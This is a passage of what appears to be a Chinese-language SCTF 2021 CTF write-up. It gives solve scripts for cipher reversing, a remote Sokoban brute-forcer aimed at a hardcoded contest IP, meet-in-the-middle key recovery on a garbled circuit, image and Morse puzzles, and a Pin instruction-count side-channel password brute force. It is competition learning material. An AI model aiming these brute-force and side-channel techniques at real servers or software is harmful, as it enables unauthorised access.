[0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef],
[0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61],
[0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]
]
def _convert_to_array(plain_int):
plain_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
for i in range(4)[::-1]:
for j in range(4)[::-1]:
plain_array[j][i] = plain_int & 0xff
plain_int >>= 8
return plain_array
def _get_num_from_sbox(index):
row = (index & 0xf0) >> 4
col = index & 0xf
return _aes_s_box[row][col]
def _get_num_from_sbox_inverse(index):
row = (index & 0xf0) >> 4
col = index & 0xf
return _aes_s_box_inverse[row][col]
def _sub_bytes(input_array):
for i in range(4):
for j in range(4):
input_array[i][j] = _get_num_from_sbox(input_array[i][j])
def _sub_bytes_inverse(input_array):
for i in range(4):
for j in range(4):
input_array[i][j] = _get_num_from_sbox_inverse(input_array[i][j])
def _shift_rows(input_array):
input_array[1] = input_array[1][1:] + [input_array[1][0]]
input_array[2] = input_array[2][2:] + input_array[2][:2]
input_array[3] = [input_array[3][3]] + input_array[3][:3]
def _shift_rows_inverse(input_array):
input_array[3] = input_array[3][1:] + [ input_array[3][0] ]
input_array[2] = input_array[2][2:] + input_array[2][:2]
input_array[1] = [ input_array[1][3] ] + input_array[1][:3]
columns_matrix = [
[2, 3, 1, 1],
[1, 2, 3, 1],
[1, 1, 2, 3],
[3, 1, 1, 2]
]
def _mix_columns(input_array):
res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
for i in range(4):
for j in range(4):
res = _GF2(0)
for k in range(4):
res += _GF2(columns_matrix[i][k]) * _GF2(input_array[k][j])
res %= _GF2(0b100011011)
res_array[i][j] = res.data
return res_array
columns_matrix_inverse = [
[0xe, 0xb, 0xd, 0x9],
[0x9, 0xe, 0xb, 0xd],
[0xd, 0x9, 0xe, 0xb],
[0xb, 0xd, 0x9, 0xe]
]
def _mix_columns_inverse(input_array):
res_array = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
for i in range(4):
for j in range(4):
res = _GF2(0)
for k in range(4):
res += _GF2(columns_matrix_inverse[i][k]) * _GF2(input_array[k][j])
res %= _GF2(0b100011011)
res_array[i][j] = res.data
return res_array
def _add_round_key(input_array, key_array):
for i in range(4):
for j in range(4):
input_array[i][j] ^= key_array[i][j]
def _key_schedule(pre_key, round):
next_key = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
# print (pre_key)
for i in range(4):
next_key[i][0] = pre_key[i - 3][3]
_sub_bytes(next_key)
for i in range(4):
next_key[i][0] ^= pre_key[i][0]
next_key[0][0] ^= (_GF2(pow(2, round)) % _GF2(0x11b)).data
for i in range(1, 4):
for j in range(4):
next_key[j][i] = next_key[j][i - 1] ^ pre_key[j][i]
return next_key
def _aes_key_gen(key):
key = _convert_to_array(key)
round_key = [key]
for i in range(10):
round_key.append(_key_schedule(round_key[i], i))
return round_key
def _convert_to_int(input_array):
output_int = 0
for i in range(4):
for j in range(4):
output_int <<= 8
output_int |= input_array[j][i]
return output_int
def sycaes_encrypt(plain_text, key):
plain_text ^= key
round_key = _aes_key_gen(key)
plain_array = _convert_to_array(plain_text)
for i in range(1, 10):
_sub_bytes_inverse(plain_array)
_shift_rows_inverse(plain_array)
plain_array = _mix_columns(plain_array)
_add_round_key(plain_array, round_key[i])
_sub_bytes(plain_array)
_shift_rows(plain_array)
_add_round_key(plain_array, round_key[10])
return _convert_to_int(plain_array)
def sycaes_decrypt(cipher_text, key):
round_key = _aes_key_gen(key)[::-1]
cipher_array = _convert_to_array(cipher_text)
_add_round_key(cipher_array, round_key[0])
_shift_rows_inverse(cipher_array)
_sub_bytes_inverse(cipher_array)
for i in range(1, 10):
_add_round_key(cipher_array, round_key[i])
cipher_array = _mix_columns_inverse(cipher_array)
_shift_rows(cipher_array)
_sub_bytes(cipher_array)
_add_round_key(cipher_array, round_key[10])
return _convert_to_int(cipher_array)
from libnum import *
k = "Welcome_to_sctf!"
ex_key = _aes_key_gen(s2n(k))
cipher = [
0xBE, 0x1C, 0xB3, 0xF3, 0xA1, 0xF4, 0xE4, 0x63, 0x11, 0xE1,
0x1C, 0x6B, 0x54, 0x0A, 0xDF, 0x74, 0xF2, 0x93, 0x55, 0xDA,
0x48, 0xFC, 0xA2, 0x3C, 0x89, 0x63, 0x2E, 0x7F, 0x8D, 0xA4,
0x6D, 0x4E
]
tmp = 0
for c in cipher[:16]:
tmp <<= 8
tmp += c
res = n2s(sycaes_decrypt(tmp, s2n(k)))
print (s2n(res[:4][::-1]))
print (s2n(res[4:8][::-1]))
print (s2n(res[8:12][::-1]))
print (s2n(res[12:][::-1]))
tmp = 0
for c in cipher[16:]:
tmp <<= 8
tmp += c
res = n2s(sycaes_decrypt(tmp, s2n(k)))
print (s2n(res[:4][::-1]))
print (s2n(res[4:8][::-1]))
print (s2n(res[8:12][::-1]))
print (s2n(res[12:][::-1]))
galois.py
class GF2:
def __init__(self, v):
self.data = v
def __str__(self):
return hex(self.data)
def __repr__(self):
return "GF2(0x%x)" % self.data
def __add__(self, other):
return GF2(self.data ^ other.data)
def __sub__(self, other):
return GF2(self.data ^ other.data)
def __lshift__(self, other):
return GF2(self.data << other)
def __eq__(self, other):
if type(other) == type(1):
if self.data == other:
return True
else:
return False
if type(other) == type(self):
if self.data == other.data:
return True
else:
return False
return False
def __mul__(self, other):
ans = 0
for i in range(len(bin(self.data)) - 2):
if self.data & (1 << i):
ans ^= other.data << i
return GF2(ans)
def __truediv__(self, other):
a = self
b = other
if b.data == 1:
return a
lena = len(bin(a.data)) - 2
lenb = len(bin(b.data)) - 2
ans = 0
while lena >= lenb:
a = a + (b << lena - lenb)
ans += 1 << (lena - lenb)
lena = len(bin(a.data)) - 2
return GF2(ans)
def __floordiv__(self, other):
return self / other
def __isub__(self, other):
return self - other
def __mod__(self, other):
a = self.data
b = other.data
lena = len(bin(a)) - 2
lenb = len(bin(b)) - 2
for i in range(lena, lenb - 1, -1):
if a & (1 << i - 1) != 0:
a ^= (b << i - lenb)
return GF2(a)
def __pow__(self, other, modulo = None):
d = GF2(1)
while other > 0:
if other & 1:
d = d * self
if modulo != None:
d %= modulo
other >>= 1
self *= self
if modulo != None:
self %= modulo
return d
tea.c
#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=1935897702; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += (sum + i )^(((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3));
v1 += (sum + i )^(((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1));
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t delta=1935897702; /* a key schedule constant */
uint32_t v0=v[0], v1=v[1], sum=delta * 32;
int i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=31; i>=0; i--) { /* basic cycle start */
v1 -= (sum + i )^(((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1));
v0 -= (sum + i )^(((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3));
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(){
v[0] = 's' ^ 0x66666666 ^ 2650095043;
v[1] = 'c' ^ 0x66666666 ^ 1257176610;
v[2] = 't' ^ 0x66666666 ^ 407123268;
v[3] = 'f' ^ 0x66666666 ^ 3718944108;
v[4] = 's' ^ 0x66666666 ^ 703929021;
v[5] = 'c' ^ 0x66666666 ^ 1889742860;
v[6] = 't' ^ 2436073003 ^ 0x66666666;
v[7] = 'f' ^ 2423013887 ^ 0x66666666;
decrypt(v, k);
decrypt(v+2, k);
decrypt(v+4, k);
decrypt(v+6, k);
printf("0x%x, 0x%x, ",v[0],v[1]);
printf("0x%x, 0x%x, ",v[2],v[3]);
printf("0x%x, 0x%x, ",v[4],v[5]);
printf("0x%x, 0x%x\n",v[6],v[7]);
return 0;
}
SycOS
riscv 架构,ghidra 打开
读取 0x40 长度,每个字符分别计算 0x80 次线性同余方程,然后分两部分存储
0x10 轮加密,依次进行:tea 运算、两部分中各取出 0x100 进行交换,然后进行系统调用,动调发现内核中的处理只是把两部分字符串做了交换
系统调用可以根据 “sys call” 字符串定位到
tea 的加密一个是 16 轮的一个是 8 轮
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "exp.h"
int delta=-0x61c88647;
char str[65];
char tmp[256];
char tmp1[4096];
unsigned long long seed;
unsigned long long mRand()
{
seed=seed*0x41c64e6d+0x3039;
return (seed<<0x21)>>0x31;
}
void tea1(char *str)
{
for (int j=0;j<4096;j+=8)
{
auto *ptr=(unsigned int*)(str+j);
auto t1=ptr[0];
auto t2=ptr[1];
int sum=delta*16;
for (int k=0;k<16;k++)
{
t2 -= t1 + sum ^ (t1<<4) + 0x1A2B3C4D ^ (t1 >> 5) + 0xCC1122AA;
t1 -= (t2<<4) + 0x11222233 ^ (t2 >> 5) + 0xaabbccdd ^ sum +t2;
sum-=delta;
}
ptr[0]=t1;
ptr[1]=t2;
}
}
void tea2(char* str)
{
for (int j=0;j<4096;j+=8)
{
auto *ptr=(unsigned int*)(str+j);
auto t1=ptr[0];
auto t2=ptr[1];
int sum=delta*8;
for (int k=0;k<8;k++)
{
sum-=delta;
t1 += t2 + sum ^ (t2 <<4) + 0x11222233 ^ (t2 >> 5) + 0xaabbccdd;
t2 +=(t1<<4) + 0x1A2B3C4D ^ (t1 >> 5) + 0xCC1122AA ^ sum +t1;
}
ptr[0]=t1;
ptr[1]=t2;
}
}
void panic()
{
printf("failed");
exit(0);
}
int main()
{
for (int i=15;i>=0;i--)
{
memcpy(tmp1,target1,4096);
memcpy(target1,target2,4096);
memcpy(target2,tmp1,4096);
memcpy(tmp,target1+(i*256),256);
memcpy(target1+(i*256),target2+(15-i)*256,256);
memcpy(target2+(15-i)*256,tmp,256);
tea1(target1);
tea2(target2);
}
for (int i=0;i<0x80;i++)
printf("0x%02x ",(unsigned char)target2[i]);
printf("\n\n");
for (int i=0;i<0x20;i++)
{
int an=0;
for (an=i;an<i+0xff;an++)
{
seed=an;
bool ch=true;
for (int j=0;j<0x80;j++)
{
unsigned char aa=mRand()&0xff;
unsigned char bb=target1[i*0x80+j]&0xff;
if (aa!=bb)
{
ch=false;
break;
}
}
if (ch)
break;
}
printf("%x\n",an);
if (an>=0xff)
{
panic();
}
str[i]=an-i;
}
for (int i=0;i<0x20;i++)
{
int an=0;
for (an=i;an<i+0xff;an++)
{
seed=an;
bool ch=true;
for (int j=0;j<0x80;j++)
{
unsigned char aa=mRand()&0xff;
unsigned char bb=target2[i*0x80+j]&0xff;
if (aa!=bb)
{
ch=false;
break;
}
}
if (ch)
break;
}
printf("%x\n",an);
if (an>=0xff)
{
panic();
}
str[i+0x20]=an-i;
}
printf("%s\n",str);
return 0;
}
SycGame
推箱子游戏
github 找了个自动求解脚本,然后在脚本里加一个 alarm,求解一次的时间超过 3s 就自动退出
https://github.com/tonyling/skb-solver
题目的程序和 github 上的脚本写的都有点问题,最后大概是脚本有 1/5 到 1/10 的概率求解出一轮,接下来爆破一波就行(服务器第一天不太稳定,爆破完不回显 flag…)
from pwn import *
from sympy.ntheory.modular import isprime
import traceback
context.log_level='debug'
def bprint(lst):
for i in lst:
for j in i:
print("%4d "%j,end='')
print('')
def fprint(lst):
mpc={1:' ',0:'#',-2:'@',-3:'.',-1:'$'}
target='20\n'
for i in lst:
for j in i:
target+=("%c"%mpc[j])
target+="\n"
open("test.txt","w").write(target)
maxn=0
while (True):
try:
p=remote("124.70.152.166",1448)
p.recvuntil(b":")
p.send(b"Y\n")
for i in range(4):
p.recvuntil(b"\n")
buffer=p.recvuntil(b"\n").decode()[:-2]
_mp=list(map(int,buffer.split(" ")))
mp0=[(0 if isprime(i) else 1) if i>0 else i for i in _mp]
mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
bprint(mp)
fprint(mp)
data=os.popen('./a.out test.txt').read()
print(data)
p.send(data.encode())
p.recvuntil(":")
p.send(b"Y\n")
rec=p.recvuntil("\n")
print(rec)
maxn=max(maxn,i+1)
i=4
p.recvuntil(b"\n")
buffer=p.recvuntil(b"\n").decode()[:-2]
_mp=list(map(int,buffer.split(" ")))
mp0=[(0 if isprime(i) else 1) if i>0 else i for i in _mp]
mp=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
mpback=[[mp0[i*20+j] for j in range(20)]for i in range(20)]
bprint(mp)
fprint(mp)
data=os.popen('./a.out test.txt').read()
print(data)
p.send(data.encode())
dt=p.recvuntil(b"Y")
print("recieved:",end='')
print(dt)
i=5
p.interactive()
except:
if (i==4):
traceback.print_exc()
if (i==5):
break
p.close()
print("maxn:%d"%maxn)
pass
Crypto
ciruit map
是个混淆电路,目标 flag 最终就是要求出 keys
电路中多给了一个值是 validation,用这个值可以构造中间相遇攻击,从而将秘钥爆破空间缩小到 2**24
,pypy3 跑然后在密钥空间中验证电路是否能通,能通的就是正确的秘钥
from block_cipher import encrypt_data, decrypt_data, decrypt
from collections import defaultdict
from tqdm import tqdm
G_Table = { 5: [(13303835, 2123830),
(2801785, 11303723),
(13499998, 248615),
(13892520, 7462011)],
6: [(3244202, 918053),
(3277177, 6281266),
(1016382, 7097624),
(10016472, 13600867)],
7: [(5944875, 3442862),
(7358369, 8423543),
(6495696, 9927178),
(13271900, 11855272)],
9: [(5333988, 87113),
(9375869, 11687470),
(5011062, 14981756),
(2509493, 12330305)]}
print('[!] generating lookup table...')
ENCRYPTIONS_OF_ZERO = defaultdict(list)
for key in tqdm(range(2**24)):
ct = encrypt_data(0, key)
ENCRYPTIONS_OF_ZERO[ct].append(key)
def meet_in_the_middle(ct):
print('[!] performing meet-in-the-middle attack for', ct)
possible = defaultdict(list)
for key in tqdm(range(2**24)):
dec = decrypt_data(ct, key)
if dec in ENCRYPTIONS_OF_ZERO:
possible[key] = ENCRYPTIONS_OF_ZERO[dec]
return possible
def recover_keys(Z, C):
print('[!] recovering keys...')
z1, z2, z3, z4 = Z
c1, c2, c3, c4 = C
for b0 in tqdm(z1):
for a0 in z1[b0]:
p1 = decrypt(c1, a0, b0)
for c,z in zip([c2, c3, c4], [z2, z3, z4]):
for a1 in z[b0]:
if p1 == decrypt(c, a1, b0):
b1 = recover_keys_part2(Z, C, a0, b0)
if b1:
print(c1)
print(c)
print(f'a0 = {a0}, b0 = {b0}')
print(f'a1 = {a1}, b1 = {b1}')
return True
return False
def recover_keys_part2(Z, C, a0, b0):
z1, z2, z3, z4 = Z
c1, c2, c3, c4 = C
for c,z in zip([c2,c3,c4], [z2,z3,z4]):
for b1 in z:
if a0 in z[b1] and decrypt(c, a0, b1) == decrypt(c1, a0, b0):
return b1
return False
# Z是四个字典,键是key2, 值是key1
for i in [7]:
Z = [meet_in_the_middle(G_Table[i][j][1]) for j in range(4)]
C = [g[0] for g in G_Table[i]]
for i in range(4):
if recover_keys([Z[i]] + Z[:i] + Z[i+1:], [C[i]] + C[:i] + C[i+1:]):
break
###############################################################
from block_cipher import decrypt
G_Table = { 5: [(13303835, 2123830),
(2801785, 11303723),
(13499998, 248615),
(13892520, 7462011)],
6: [(3244202, 918053),
(3277177, 6281266),
(1016382, 7097624),
(10016472, 13600867)],
7: [(5944875, 3442862),
(7358369, 8423543),
(6495696, 9927178),
(13271900, 11855272)],
9: [(5333988, 87113),
(9375869, 11687470),
(5011062, 14981756),
(2509493, 12330305)]}
def validate_the_circuit(geta_table, key0, key1):
for g in geta_table:
gl, v = g
label = decrypt(gl, key0, key1)
validation = decrypt(v, key0, key1)
if validation == 0:
return label
geta5 = G_Table[5]
geta6 = G_Table[6]
geta7 = G_Table[7]
geta9 = G_Table[9]
key0 = 8680011
key1 = 2096572
msg = validate_the_circuit(geta9, key0, key1)
print('key[9][1] = ', msg)
# keys[1][0] = 8343801
# keys[1][1] = 13675268
# keys[2][0] = 10251687
# keys[2][1] = 12870274
# keys[3][0] = 6827786
# keys[3][1] = 12490757
# keys[4][0] = 2096572
# keys[4][1] = 3391233
# keys[5][0] = 15707475
# keys[5][1] = 4567418
# keys[6][0] = 14095476
# keys[6][1] = 3648155
# key[7][0] = 14409690
# key[7][1] = 8680011
# key[9][0] = 9376523
# key[9][1] = 2504390
###############################################################
import hashlib
from Crypto.Util.number import *
from libnum import n2s
# keys[1][0] = 8343801
# keys[1][1] = 13675268
# keys[2][0] = 10251687
# keys[2][1] = 12870274
# keys[3][0] = 6827786
# keys[3][1] = 12490757
# keys[4][0] = 2096572
# keys[4][1] = 3391233
# keys[5][0] = 15707475
# keys[5][1] = 4567418
# keys[6][0] = 14095476
# keys[6][1] = 3648155
# keys[7][0] = 14409690
# keys[7][1] = 8680011
# keys[9][0] = 9376523
# keys[9][1] = 2504390
keys = [[8343801, 13675268], [10251687, 12870274], [6827786, 12490757], [2096572, 3391233], [15707475, 4567418], [14095476, 3648155], [14409690, 8680011], [9376523, 2504390]]
def xor(A, B):
return bytes(a ^ b for a, b in zip(A, B))
the_chaos=b''
for i in keys:
tmp = sum(i)
the_chaos += bytes(long_to_bytes(tmp))
mask = hashlib.md5(the_chaos).digest()
flag = xor(mask,n2s(0x1661fe85c7b01b3db1d432ad3c5ac83a))
print(flag)
Misc
This_is_A_tree
一个树型解密,随便找了个脚本改了改
#!/usr/bin/python
# -*- coding:utf8 -*-
import os
allFileNum = 0
file_contents_list = []
def printPath(level, path):
global allFileNum
# 所有文件夹,第一个字段是次目录的级别
dirList = []
# 所有文件
fileList = []
# exp
global file_contents_list
# exp
# 返回一个列表,其中包含在目录条目的名称(google翻译)
files = os.listdir(path)
# 先添加目录级别
dirList.append(str(level))
for f in files:
if(os.path.isdir(path + '/' + f)):
# 排除隐藏文件夹。因为隐藏文件夹过多
if(f[0] == '.'):
pass
else:
# 添加非隐藏文件夹
dirList.append(f)
if(os.path.isfile(path + '/' + f)):
# 添加文件
fileList.append(f)
# exp添加内容
if f != 'exp.py':
file_contents_list.append(open(path + '\\' + f, 'r').read())
# exp
# 当一个标志使用,文件夹列表第一个级别不打印
i_dl = 0
for dl in dirList:
if(i_dl == 0):
i_dl = i_dl + 1
else:
# 打印至控制台,不是第一个的目录
print('-' * (int(dirList[0])), dl)
# 打印目录下的所有文件夹和文件,目录级别+1
printPath((int(dirList[0]) + 1), path + '/' + dl)
for fl in fileList:
# 打印文件
print('-' * (int(dirList[0])), fl)
# 随便计算一下有多少个文件
allFileNum = allFileNum + 1
return file_contents_list
if __name__ == '__main__':
contents_list = printPath(1, 'D:\\CTF题目\\2021SCTF\\misc\\78afbe21e9334e83a265e984a1aa9ddd')
# print('总文件数 =', allFileNum)
print("".join(contents_list))
解密完base64一下是个八卦序列,师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 https://blog.csdn.net/weixin_44110537/article/details/107494966
脚本如下,输入换一下,删一点后面的就行
def decrypt4(enc):
temp=''
offset=5
for i in range(len(enc)):
temp+=chr(ord(enc[i])+offset+i)
return temp
def decrypt5(flag):
for a in range(1,200):
enc = ''
for i in flag:
for k in range(200):
if (ord(i) - 97 - 7+26*k)%a==0:
enc+= chr((ord(i) - 97 - 7 + 26 * k) // a + 97)
break
print(enc)
s='师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫'
dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
li=[]
k=0
for i in range(len(s)):
if k ==1:
k=0
continue
try:
li.append(dic[s[i]])
except:
t=''
t=t+s[i]+s[i+1]
li.append(dic[t])
k=1
ss=''.join(li)
print(ss)
enc=''
for i in range(0,len(ss),8):
enc+=chr(eval('0b'+ss[i:i+8]))
import base64
print(enc)
x=base64.b64decode(enc).decode()
print(x)
x=decrypt4(x)
x=decrypt5(x)
fumo_xor_cli
nc 远程发现是通过五颜六色的字符打印出一个 gif,肉眼发现有两帧不一样,把 nc 到的字节流重定向到本地文件,然后手动把这两帧提取出来,都是 50*133
个字符的。
无意间发现链接的公众号推送的最后一张图有异样,下载原图,仔细观察发现:
有规律的藏有五颜六色的像素,提取出来,发现是 133*100
的,把这个拆成两个 50*133
,然后都旋转为正的,将 4 张 50*133
的图异或,发现大部分都是 (0,0,0),部分是三个一样的,再经过一些简单的图片处理,得到flag。
全程处理数据的脚本:
from PIL import Image
import numpy as np
def rerange(s):
t = []
for i in range(len(s[0])):
t.append([s[_][i] for _ in range(len(s))])
return t
f = Image.open('640.png')
a = np.array(f)
cnt = 0
wx_list_1 = []
wx_list_2 = []
for i in range(len(a)):
if i % 9 == 1 and i < 1190:
b = a[i]
now_list_1 = []
now_list_2 = []
cnt_j = 0
for j in range(len(b)):
if j % 9 == 1:
if cnt_j < 50:
now_list_1.append(b[j])
else:
now_list_2.append(b[j])
cnt_j += 1
wx_list_1.append(now_list_1)
wx_list_2.append(now_list_2)
cnt += 1
wx_list_1 = rerange(wx_list_1)
wx_list_2 = rerange(wx_list_2)
import re
fp = open('pic1.txt', 'rb')
list_1 = []
for line in fp.readlines():
pattern = re.compile(r'\[\d+;\d+;(\d+);(\d+);(\d+)ma')
a = pattern.findall(line.decode())
a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a]
list_1.append(a)
fp.close()
fp = open('pic2.txt', 'rb')
list_2 = []
for line in fp.readlines():
pattern = re.compile(r'\[\d+;\d+;(\d+);(\d+);(\d+)m[a-zA-Z0-9\:\/\.\_]')
a = pattern.findall(line.decode())
a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a]
list_2.append(a)
fp.close()
fp = open('pic3', 'wb')
for i in range(len(list_1)):
a, b = wx_list_1[i], list_1[i]
c, d = wx_list_2[i], list_2[i]
for j in range(len(a)):
r1, g1, b1 = a[j]
r2, g2, b2 = b[j]
r3, g3, b3 = c[j]
r4, g4, b4 = d[j]
r0 = r2 ^ r1 ^ r3 ^ r4
g0 = g2 ^ g1 ^ g3 ^ g4
b0 = b2 ^ b1 ^ b3 ^ b4
if r0 != 0:
r0, b0, g0 = 255, 255, 255
# # c0 = chr(ord(c1) ^ ord(c2))
payload = '[38;2;%d;%d;%dm▇' % (r0, g0, b0)
fp.write(b'\x1b' + payload.encode())
fp.write('\n'.encode())
in_the_vaporwaves
用国赛的华为音响播放(应该是个非预期)直接听到了莫斯码,录音下来的结果
摩斯码:
.../-.-./-/..-./-.././.../.----/.-./...--/..--.-/-../.-./../...-/./.../..--.-/../-./-/-----/..--.-/...-/.-/.--./---/.-./.--/.--.-./...-/./...
解莫斯码得到flag
low_re
vmp 壳,根据题目描述,应该无法逆向出正确的逻辑,什么信息都没有的情况下想到用 pintools 来试试,手动尝试发现长度是 17 位,并且指令数量差异很明显
按位爆破:
import subprocess
import string
password = "S1deCh4nnelAtt@ck"
cur = 17
charset = string.digits + string.ascii_letters + string.punctuation
for i in charset:
command = "echo " + password[:cur] + i + password[cur + 1:] + " | ./pin.exe -t source/tools/ManualExamples/obj-intel64/inscount0.dll -- ./low_re.exe; cat inscount.out"
output = subprocess.check_output(command, shell=True, stderr=subprocess.PIPE)
print (password[:cur] + i, output)
指令数量差异很明显,可以直接猜测单词加快速度